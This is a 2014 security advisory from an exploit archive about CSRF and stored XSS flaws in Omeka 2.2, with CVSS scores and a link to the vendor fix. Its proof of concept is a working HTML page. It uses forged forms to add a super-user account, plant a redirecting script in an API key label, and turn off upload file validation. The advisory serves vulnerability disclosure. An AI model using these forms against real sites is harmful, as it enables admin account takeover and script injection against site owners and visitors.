Omeka 2.2 Cross Site Request Forgery / Cross Site Scripting

2014-07-18 / 2014-07-28
Risk: Medium
Local: No
Remote: Yes


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<!-- Omeka 2.2 CSRF And Stored XSS Vulnerability Vendor: Omeka Team (CHNM GMU) Product web page: http://www.omeka.org Affected version: 2.2 Summary: Omeka is a free, flexible, and open source web-publishing platform for the display of library, museum, archives, and scholarly collections and exhibitions. Its 'five-minute setup' makes launching an online exhibition as easy as launching a blog. Desc: Omeka version 2.2 suffers from a cross-site request forgery and a stored xss vulnerability. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to the 'api_key_label' POST parameter is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Kali Linux 3.7-trunk-686-pae Apache/2.2.22 (Debian) PHP 5.4.4-13(apache2handler) MySQL 5.5.28 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5193 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php Vendor: http://omeka.org/blog/2014/07/16/omeka-2-2-1-security-update-released/ 16.07.2014 --> <html> <title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title> <body> <!-- CSRF Add Super User & Activate --> <!-- Roles: Super, Admin, Researcher, Contributor --> <form action="http://192.168.0.105/omeka-2.2/admin/users/add" method="POST"> <input type="hidden" name="username" value="Hacker" /> <input type="hidden" name="name" value="CSRF" /> <input type="hidden" name="email" value="lab@zeroscience.mk" /> <input type="hidden" name="role" value="super" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="submit" value="Add+User" /> <input type="submit" value="Add Super User" /> </form> <!-- CSRF Add Persistent XSS --> <form action="http://192.168.0.105/omeka-2.2/admin/users/api-keys/1" method="POST"> <input type="hidden" name="api_key_label" value='<script>location.href="http://www.zeroscience.mk"</script>' /> <input type="hidden" name="update_api_keys" value="Update+API+Keys" /> <input type="submit" value="Insert Script" /> </form> <!-- CSRF Disable File Validation --> <form action="http://192.168.0.105/omeka-2.2/admin/settings/edit-security" method="POST"> <input type="hidden" name="disable_default_file_validation" value="1" /> <input type="hidden" name="submit" value="Save+Changes" /> <input type="submit" value="Disable File Validation" /> </form> </body> </html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top